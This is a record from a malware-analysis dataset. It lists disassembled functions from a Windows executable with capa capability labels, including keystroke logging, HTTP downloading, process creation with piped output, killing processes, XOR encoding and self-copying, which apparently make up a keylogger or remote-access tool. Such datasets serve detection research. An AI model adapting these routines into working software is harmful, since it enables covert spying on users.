joyce8/EMBER2024-capa huggingface dataset:
Function at 0x474d50
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff8c4
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 0x73c], ecx
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x20], ecx
mov dword [ebp - 4], edx
mov esi, eax
lea ebx, [ebp - 0x14]
xor eax, eax
push ebp
push 0x474f77
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 0x73c]
xor eax, eax
call fcn.00402b68
mov eax, dword [ebp - 0x73c]
lea edx, [ebp - 0x18]
call fcn.00409e18
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 0x18]
call fcn.00404e80
push eax
call sub.wininet.dll_InternetOpenA
mov dword [ebp - 0xc], eax
xor eax, eax
push ebp
push 0x474e92
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0x84000000
push 0
push 0
mov eax, esi
call fcn.00404e80
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.wininet.dll_InternetOpenUrlA
mov dword [ebp - 0x10], eax
xor eax, eax
push ebp
push 0x474e74
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, dword [ebp - 4]
lea eax, [ebp - 0x56c]
call fcn.00402f1c
mov edx, 1
lea eax, [ebp - 0x56c]
call fcn.004035e4
call fcn.004028c4
push ebx
push 0x400
lea eax, [ebp - 0x420]
push eax
mov eax, dword [ebp - 0x10]
push eax
call sub.wininet.dll_InternetReadFile
push 0
lea edx, [ebp - 0x420]
mov ecx, dword [ebx]
lea eax, [ebp - 0x56c]
call fcn.0040306c
call fcn.004028c4
cmp dword [ebx], 0
jne 0x474e14
lea eax, [ebp - 0x56c]
call fcn.0040308c
call fcn.004028c4
mov byte [ebp - 5], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x474e7b
mov eax, dword [ebp - 0x10]
push eax
call sub.wininet.dll_InternetCloseHandle
ret
Function at 0x474fc0
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffbec
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 0x414], ecx
mov ebx, edx
mov esi, eax
xor eax, eax
push ebp
push 0x4750fb
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, ebx
call fcn.004049c0
push 0
push 0
push 0
push 0
push 0x475108
call sub.wininet.dll_InternetOpenA
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x4750db
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [ebp - 4], 0
je 0x4750c4
push 0
push 0x84000000
push 0
push 0
mov eax, esi
call fcn.00404e80
push eax
mov eax, dword [ebp - 4]
push eax
call sub.wininet.dll_InternetOpenUrlA
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x4750c4
xor eax, eax
push ebp
push 0x4750bd
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 0x400
lea eax, [ebp - 0xc]
push eax
push 0x400
lea eax, [ebp - 0x40e]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.wininet.dll_InternetReadFile
cmp dword [ebp - 0xc], 0
je 0x4750a6
mov eax, dword [ebp - 0xc]
mov byte [ebp + eax - 0x40e], 0
lea eax, [ebp - 0x414]
lea edx, [ebp - 0x40e]
mov ecx, 0x402
call fcn.00404c30
mov edx, dword [ebp - 0x414]
mov eax, ebx
call fcn.00404c88
jmp 0x475050
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4750c4
mov eax, dword [ebp - 8]
push eax
call sub.wininet.dll_InternetCloseHandle
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4750e2
mov eax, dword [ebp - 4]
push eax
call sub.wininet.dll_InternetCloseHandle
ret
Function at 0x475384
Capabilities:
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Read file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe80
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 0x180], ebx
mov dword [ebp - 0x17c], ebx
mov dword [ebp - 0x18], ebx
mov esi, ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404e70
mov eax, dword [ebp - 8]
call fcn.00404e70
xor eax, eax
push ebp
push 0x4755bb
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, esi
call fcn.004049c0
mov dword [ebp - 0x24], 0xc
mov dword [ebp - 0x1c], 0xffffffff
xor eax, eax
mov dword [ebp - 0x20], eax
push 0
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push eax
call sub.kernel32.dll_CreatePipe
xor eax, eax
push ebp
push 0x475581
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x68]
xor ecx, ecx
mov edx, 0x44
call fcn.004032b4
mov dword [ebp - 0x68], 0x44
mov dword [ebp - 0x3c], 0x101
mov word [ebp - 0x38], 0
push 0xfffffffffffffff6
call sub.kernel32.dll_GetStdHandle_1
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 8]
call fcn.00409a58
test al, al
je 0x475453
lea eax, [ebp - 0x18]
mov edx, dword [ebp - 8]
call fcn.00404a58
jmp 0x475460
lea eax, [ebp - 0x18]
mov edx, 0x4755d0
call fcn.00404a58
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp - 0x68]
push eax
mov eax, dword [ebp - 0x18]
call fcn.00404e80
push eax
push 0
push 0
push 0xffffffffffffffff
push 0
push 0
lea eax, [ebp - 0x17c]
mov ecx, dword [ebp - 4]
mov edx, 0x4755dc
call fcn.00404ccc
mov eax, dword [ebp - 0x17c]
call fcn.00404e80
push eax
push 0
call sub.kernel32.dll_CreateProcessA
cmp eax, 1
sbb ebx, ebx
inc ebx
mov eax, dword [ebp - 0x10]
push eax
call sub.kernel32.dll_CloseHandle_1
test bl, bl
je 0x47556a
xor eax, eax
push ebp
push 0x475563
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
lea eax, [ebp - 0x14]
push eax
push 0xff
lea eax, [ebp - 0x178]
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_ReadFile_1
cmp eax, 1
sbb ebx, ebx
inc ebx
cmp dword [ebp - 0x14], 0
jbe 0x47552e
mov eax, dword [ebp - 0x14]
mov byte [ebp + eax - 0x178], 0
lea eax, [ebp - 0x178]
push eax
lea eax, [ebp - 0x178]
push eax
call sub.user32.dll_OemToCharA
lea eax, [ebp - 0x180]
lea edx, [ebp - 0x178]
mov ecx, pe_nt_image_headers32
call fcn.00404c30
mov edx, dword [ebp - 0x180]
mov eax, esi
call fcn.00404c88
test bl, bl
je 0x475538
cmp dword [ebp - 0x14], 0
jne 0x4754c6
push 0xffffffffffffffff
mov eax, dword [ebp - 0x78]
push eax
call sub.kernel32.dll_WaitForSingleObject
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x47556a
mov eax, dword [ebp - 0x74]
push eax
call sub.kernel32.dll_CloseHandle_1
mov eax, dword [ebp - 0x78]
push eax
call sub.kernel32.dll_CloseHandle_1
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x475588
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_CloseHandle_1
ret
Function at 0x475a94
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffec4
push ebx
push esi
xor edx, edx
mov dword [ebp - 0x130], edx
mov dword [ebp - 0x138], edx
mov dword [ebp - 0x13c], edx
mov dword [ebp - 0x134], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404e70
xor eax, eax
push ebp
push 0x475bd5
push dword fs:[eax]
mov dword fs:[eax], esp
mov dl, 1
mov eax, 0x475bec
call fcn.00475958
xor edx, edx
mov eax, 2
call fcn.00472b20
mov ebx, eax
cmp ebx, 0xffffffff
je 0x475ba9
mov dword [ebp - 0x12c], 0x128
lea edx, [ebp - 0x12c]
mov eax, ebx
call fcn.00472b40
lea eax, [ebp - 0x134]
lea edx, [ebp - 0x108]
mov ecx, 0x104
call fcn.00404c30
mov eax, dword [ebp - 0x134]
lea edx, [ebp - 0x130]
call fcn.00408de4
mov eax, dword [ebp - 0x130]
push eax
mov eax, dword [ebp - 4]
call fcn.00404e80
mov edx, eax
lea eax, [ebp - 0x13c]
call fcn.00404bb8
mov eax, dword [ebp - 0x13c]
lea edx, [ebp - 0x138]
call fcn.00408de4
mov edx, dword [ebp - 0x138]
pop eax
call fcn.00404dcc
jne 0x475b8e
mov eax, dword [ebp - 0x124]
push eax
push 0
push 1
call sub.kernel32.dll_OpenProcess
mov esi, eax
push 0
push esi
call sub.kernel32.dll_TerminateProcess
push esi
call sub.kernel32.dll_CloseHandle_1
lea edx, [ebp - 0x12c]
mov eax, ebx
call fcn.00472b60
cmp eax, 1
sbb eax, eax
inc eax
test al, al
jne 0x475b0c
push ebx
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x475bdc
lea eax, [ebp - 0x13c]
mov edx, 4
call fcn.004049e4
lea eax, [ebp - 4]
call fcn.004049c0
ret
Function at 0x4764e4
Capabilities:
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
push esi
push edi
mov edi, ecx
mov ebx, edx
mov esi, eax
xor eax, eax
push ebp
push 0x476697
push dword fs:[eax]
mov dword fs:[eax], esp
test bl, bl
je 0x476641
mov ecx, dword [0x49ec58]
mov edx, ebx
mov eax, esi
call fcn.0047671c
mov eax, dword [0x49ec5c]
call fcn.00404e80
push eax
call sub.kernel32.dll_LoadLibraryA
mov dword [esi + 0x40], eax
cmp dword [esi + 0x40], 0
jne 0x476562
lea eax, [ebp - 4]
mov ecx, dword [0x49ec58]
mov edx, 0x4766ac
call fcn.00404ccc
mov ecx, dword [ebp - 4]
mov edx, ebx
mov eax, esi
call fcn.0047671c
mov eax, dword [0x49ec5c]
call fcn.00404e80
push eax
call sub.kernel32.dll_LoadLibraryA
mov dword [esi + 0x40], eax
push 0x4766b0
mov eax, dword [esi + 0x40]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [esi + 0x44], eax
push 0x4766b8
mov eax, dword [esi + 0x40]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [esi + 0x48], eax
cmp dword [esi + 0x44], 0
je 0x476590
cmp dword [esi + 0x48], 0
jne 0x4765a6
mov ecx, 0x4766c8
mov dl, 1
mov eax, dword [0x408034]
call fcn.0040d144
call fcn.00404378
push 0x4766e4
push 4
push 0
push 4
push 0
push 0xffffffffffffffff
call sub.kernel32.dll_CreateFileMappingA
mov ebx, eax
mov dword [esi + 0x30], ebx
test ebx, ebx
jne 0x4765d9
mov ecx, 0x4766f8
mov dl, 1
mov eax, dword [0x408034]
call fcn.0040d144
call fcn.00404378
push 0
push 0
push 0
push 2
mov eax, dword [esi + 0x30]
push eax
call sub.kernel32.dll_MapViewOfFile
mov ebx, eax
mov dword [esi + 0x38], ebx
mov dword [ebx], edi
push 0x476710
push 4
push 0
push 4
push 0
push 0xffffffffffffffff
call sub.kernel32.dll_CreateFileMappingA
mov ebx, eax
mov dword [esi + 0x34], ebx
test ebx, ebx
jne 0x476624
mov ecx, 0x4766f8
mov dl, 1
mov eax, dword [0x408034]
call fcn.0040d144
call fcn.00404378
push 0
push 0
push 0
push 2
mov eax, dword [esi + 0x34]
push eax
call sub.kernel32.dll_MapViewOfFile
mov ebx, eax
mov dword [esi + 0x3c], ebx
mov dword [ebx], edi
call dword [esi + 0x44]
jmp 0x476681
cmp dword [esi + 0x48], 0
je 0x47664a
call dword [esi + 0x48]
mov eax, dword [esi + 0x40]
test eax, eax
je 0x476657
push eax
call sub.kernel32.dll_FreeLibrary_1
cmp dword [esi + 0x30], 0
je 0x476681
mov eax, dword [esi + 0x38]
push eax
call sub.kernel32.dll_UnmapViewOfFile
mov eax, dword [esi + 0x3c]
push eax
call sub.kernel32.dll_UnmapViewOfFile
mov eax, dword [esi + 0x30]
push eax
call sub.kernel32.dll_CloseHandle_1
mov eax, dword [esi + 0x34]
push eax
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x47669e
lea eax, [ebp - 4]
call fcn.004049c0
ret
Function at 0x47689c
Capabilities:
Get keyboard layout
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef4
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x10c], ecx
mov dword [ebp - 0x108], ecx
mov ebx, edx
mov edi, eax
xor eax, eax
push ebp
push 0x47699d
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
call sub.user32.dll_GetKeyboardLayout
mov dword [0x49ec4c], eax
lea eax, [ebp - 0x102]
push eax
call sub.user32.dll_GetKeyboardState
mov eax, dword [0x49ec4c]
push eax
push 0
lea eax, [ebp - 2]
push eax
lea eax, [ebp - 0x102]
push eax
mov eax, dword [0x49ec4c]
push eax
push 2
mov esi, dword [ebx + 4]
push esi
call sub.user32.dll_MapVirtualKeyExA
push eax
push esi
call sub.user32.dll_ToAsciiEx
mov edx, dword [ebx + 8]
test edx, 0x80000000
jne 0x47694b
test al, al
jbe 0x476941
lea eax, [ebp - 0x108]
mov dl, byte [ebp - 2]
call fcn.00404ba8
mov ecx, dword [ebp - 0x108]
mov edx, dword [ebx + 4]
mov eax, edi
call fcn.00476a9c
xor eax, eax
mov dword [0x49ec50], eax
jmp 0x47697f
mov eax, dword [ebx + 4]
mov dword [0x49ec50], eax
jmp 0x47697f
shr edx, 0x1f
and edx, 1
dec edx
jne 0x47697f
cmp al, 1
jae 0x47697f
cmp dword [0x49ec50], 0
je 0x47697f
lea eax, [ebp - 0x10c]
mov dl, byte [ebp - 2]
call fcn.00404ba8
mov ecx, dword [ebp - 0x10c]
mov edx, dword [ebx + 4]
mov eax, edi
call fcn.00476a9c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4769a4
lea eax, [ebp - 0x10c]
mov edx, 2
call fcn.004049e4
ret
Function at 0x494a18
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffff8
mov ebp, ecx
mov ebx, edx
mov dword [esp], eax
mov eax, ebp
mov edx, dword [esp]
call fcn.00404a14
mov esi, ebx
mov eax, dword [ebp]
call fcn.00404c80
test ax, ax
jbe 0x494a83
mov word [esp + 4], ax
mov bx, 1
mov eax, ebp
call fcn.00404ed8
movzx edi, bx
mov edx, dword [ebp]
mov dl, byte [edx + edi - 1]
movzx ecx, si
shr ecx, 8
xor dl, cl
mov byte [eax + edi - 1], dl
mov eax, dword [esp]
movzx eax, byte [eax + edi - 1]
add si, ax
imul ax, si, 0xce6d
add ax, 0x58bf
mov esi, eax
inc ebx
dec word [esp + 4]
jne 0x494a48
pop ecx
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x49546c
Capabilities:
Create thread

Disassembly:
push ecx
push esp
push 0
push 0
push 0x495258
push 0
push 0
call sub.kernel32.dll_CreateThread_1
pop edx
ret

Function at 0x495bd4
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 4], ecx
mov ebx, eax
xor eax, eax
push ebp
push 0x495d23
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x49f114]
mov edx, dword [eax]
call dword [edx + 0x54]
test al, al
je 0x495ceb
xor edx, edx
mov eax, dword [0x49f134]
call fcn.0042f70c
mov edx, 0x495d3c
mov eax, dword [0x49f114]
mov ecx, dword [eax]
call dword [ecx + 0x7c]
push 0xffffffffffffffff
lea eax, [ebp - 4]
push eax
or ecx, 0xffffffff
mov edx, 0x495d4c
mov eax, dword [0x49f114]
mov esi, dword [eax]
call dword [esi + 0x70]
xor eax, eax
push ebp
push 0x495cd3
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov edx, 0x495d58
call fcn.00404dcc
jne 0x495c5b
mov eax, ebx
call fcn.00495dd0
mov eax, dword [ebp - 4]
mov edx, 0x495d70
call fcn.00404dcc
jne 0x495c71
mov eax, ebx
call fcn.00495f14
mov eax, dword [ebp - 4]
mov edx, 0x495d88
call fcn.00404dcc
jne 0x495c87
mov eax, ebx
call fcn.00495fdc
mov eax, dword [ebp - 4]
mov edx, 0x495d9c
call fcn.00404dcc
jne 0x495c9d
mov eax, ebx
call fcn.004960c8
mov eax, dword [ebp - 4]
mov edx, 0x495dac
call fcn.00404dcc
jne 0x495cb3
mov eax, ebx
call fcn.00496254
mov eax, dword [ebp - 4]
mov edx, 0x495dc4
call fcn.00404dcc
jne 0x495cc9
mov eax, ebx
call fcn.00496400
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x495cdd
mov dl, 1
mov eax, dword [0x49f134]
call fcn.0042f70c
jmp 0x495d0d
xor edx, edx
mov eax, dword [0x49f134]
call fcn.0042f70c
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x495930
push 0
push 0
call sub.kernel32.dll_CreateThread_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x495d2a
lea eax, [ebp - 4]
call fcn.004049c0
ret

Function at 0x498248
Capabilities:
Create thread

Disassembly:
push ebx
push ecx
mov ebx, eax
mov eax, ebx
call fcn.00441704
mov dword [0x49f1dc], eax
push esp
push 0
push 0
push 0x497cf0
push 0
push 0
call sub.kernel32.dll_CreateThread_1
pop edx
pop ebx
ret
Function at 0x402774
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffef8
mov ebx, edx
mov esi, eax
mov eax, ebx
call fcn.00403dcc
test esi, esi
jne 0x4027aa
push 0x105
lea eax, [esp + 4]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov ecx, eax
mov edx, esp
mov eax, ebx
call fcn.00403ebc
jmp 0x4027c8
call sub.kernel32.dll_GetCommandLineA
mov edi, eax
mov edx, ebx
mov eax, edi
call fcn.00402688
mov edi, eax
test esi, esi
je 0x4027c8
cmp dword [ebx], 0
je 0x4027c8
dec esi
jmp 0x4027b1
add esp, 0x108
pop edi
pop esi
pop ebx
ret

Function at 0x402d58
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebx
xor ebx, ebx
imul edx, dword [ebx + 0x40b008], 0x8088405
inc edx
mov dword [ebx + 0x40b008], edx
mul edx
mov eax, edx
pop ebx
ret

Function at 0x403330
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x40b014]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x4033c8
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x4033a8
xor eax, eax
push ebp
push 0x4033a1
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x4033e4
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4033a8
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [0x40b014]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x40b014], ax
mov esp, ebp
pop ebp
ret

Function at 0x403bd4
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x40c034], 0
je 0x403c35
cmp word [0x40c208], 0xd7b2
jne 0x403bfd
cmp dword [0x40c210], 0
jbe 0x403bfd
mov eax, 0x40c204
call dword [0x40c220]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x40b080
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x403c5c
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x40b020], 0
jne 0x403c51
push 0
push 0x40b078
push 0x40b080
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret

Function at 0x403d88
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov ebx, eax
mov eax, 8
call fcn.00402518
mov dword [eax], edi
mov edx, dword [ebp + 0x10]
mov dword [eax + 4], edx
mov byte [0x40c035], 1
mov edx, dword [ebp + 8]
push edx
mov edx, dword [ebp + 0xc]
push edx
push eax
mov eax, 0x403d50
push eax
push esi
push ebx
call sub.kernel32.dll_CreateThread
pop edi
pop esi
pop ebx
pop ebp
ret 0xc
Function at 0x4047fc
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor edx, edx
mov dword [ebp - 0x10], edx
xor edx, edx
push ebp
push 0x404862
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 0xb]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA
lea eax, [ebp - 0x10]
lea edx, [ebp - 0xb]
mov ecx, 7
call fcn.0040402c
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 4]
call fcn.004030d4
mov ebx, eax
cmp dword [ebp - 4], 0
je 0x40484c
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x404869
lea eax, [ebp - 0x10]
call fcn.00403dcc
ret
Function at 0x40537c
Capabilities:
Copy file
Create directory

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
xor eax, eax
push ebp
push 0x405457
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
lea edx, [ebp - 8]
mov eax, 0x40546c
call fcn.00406c7c
mov eax, dword [ebp - 8]
call fcn.00404244
push eax
call sub.kernel32.dll_CreateDirectoryA
test eax, eax
je 0x4053be
mov eax, dword [0x40b16c]
add dword [eax], 0xa
mov ebx, 0xa
lea edx, [ebp - 0xc]
mov eax, 0x40547c
call fcn.00406c7c
push dword [ebp - 0xc]
lea eax, [ebp - 0x10]
call fcn.004055f4
push dword [ebp - 0x10]
push 0x405490
lea eax, [ebp - 4]
mov edx, 3
call fcn.00404104
push 0
mov eax, dword [ebp - 4]
call fcn.00404244
push eax
lea edx, [ebp - 0x14]
xor eax, eax
call fcn.00402774
mov eax, dword [ebp - 0x14]
call fcn.00404244
push eax
call sub.kernel32.dll_CopyFileA
mov eax, 0x64
call fcn.00402d58
cmp eax, 0x1e
jle 0x405439
mov eax, 5
call fcn.00402d58
mov edx, eax
shl edx, 0xa
mov eax, dword [ebp - 4]
call fcn.004062f8
dec ebx
jne 0x4053c3
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40545e
lea eax, [ebp - 0x14]
mov edx, 5
call fcn.00403df0
ret
Function at 0x406648
Capabilities:
Check os version

Disassembly:
push ebx
add esp, 0xffffff6c
mov ebx, eax
mov eax, ebx
mov edx, 0x406778
call fcn.00403e20
mov dword [esp], 0x94
push esp
call sub.kernel32.dll_GetVersionExA
test eax, eax
je 0x40675a
mov eax, dword [esp + 4]
mov edx, dword [esp + 8]
mov ecx, dword [esp + 0x10]
dec ecx
je 0x4066e2
dec ecx
jne 0x40674c
cmp eax, 4
jg 0x40669e
mov eax, ebx
mov edx, 0x406788
call fcn.00403e20
jmp 0x406766
cmp eax, 5
jne 0x4066b8
test edx, edx
jne 0x4066b8
mov eax, ebx
mov edx, 0x406798
call fcn.00403e20
jmp 0x406766
cmp eax, 5
jne 0x4066d1
dec edx
jne 0x4066d1
mov eax, ebx
mov edx, 0x4067a8
call fcn.00403e20
jmp 0x406766
mov eax, ebx
mov edx, 0x406778
call fcn.00403e20
jmp 0x406766
cmp eax, 4
jne 0x4066f9
test edx, edx
jne 0x4066f9
mov eax, ebx
mov edx, 0x4067b8
call fcn.00403e20
jmp 0x406766
cmp eax, 4
jne 0x406726
cmp edx, 0xa
jne 0x406726
cmp byte [esp + 0x15], 0x41
jne 0x406718
mov eax, ebx
mov edx, 0x4067c8
call fcn.00403e20
jmp 0x406766
mov eax, ebx
mov edx, 0x4067d8
call fcn.00403e20
jmp 0x406766
cmp eax, 4
jne 0x40673e
cmp edx, 0x5a
jne 0x40673e
mov eax, ebx
mov edx, 0x4067e8
call fcn.00403e20
jmp 0x406766
mov eax, ebx
mov edx, 0x406778
call fcn.00403e20
jmp 0x406766
mov eax, ebx
mov edx, 0x406778
call fcn.00403e20
jmp 0x406766
mov eax, ebx
mov edx, 0x406778
call fcn.00403e20
add esp, 0x94
pop ebx
ret

Function at 0x4067f0
Capabilities:
Check internet connectivity via wininet

Disassembly:
push ebx
push ecx
mov ebx, eax
mov dword [esp], 2
push 0
lea eax, [esp + 4]
push eax
call sub.wininet.dll_InternetGetConnectedState
test eax, eax
je 0x406822
mov eax, dword [esp]
and eax, 2
cmp eax, 2
jne 0x406822
mov eax, ebx
mov edx, 0x40685c
call fcn.00403e20
mov dword [esp], 1
push 0
lea eax, [esp + 4]
push eax
call sub.wininet.dll_InternetGetConnectedState
test eax, eax
je 0x406850
mov eax, dword [esp]
and eax, 1
cmp eax, 1
jne 0x406850
mov eax, ebx
mov edx, 0x406868
call fcn.00403e20
pop edx
pop ebx
ret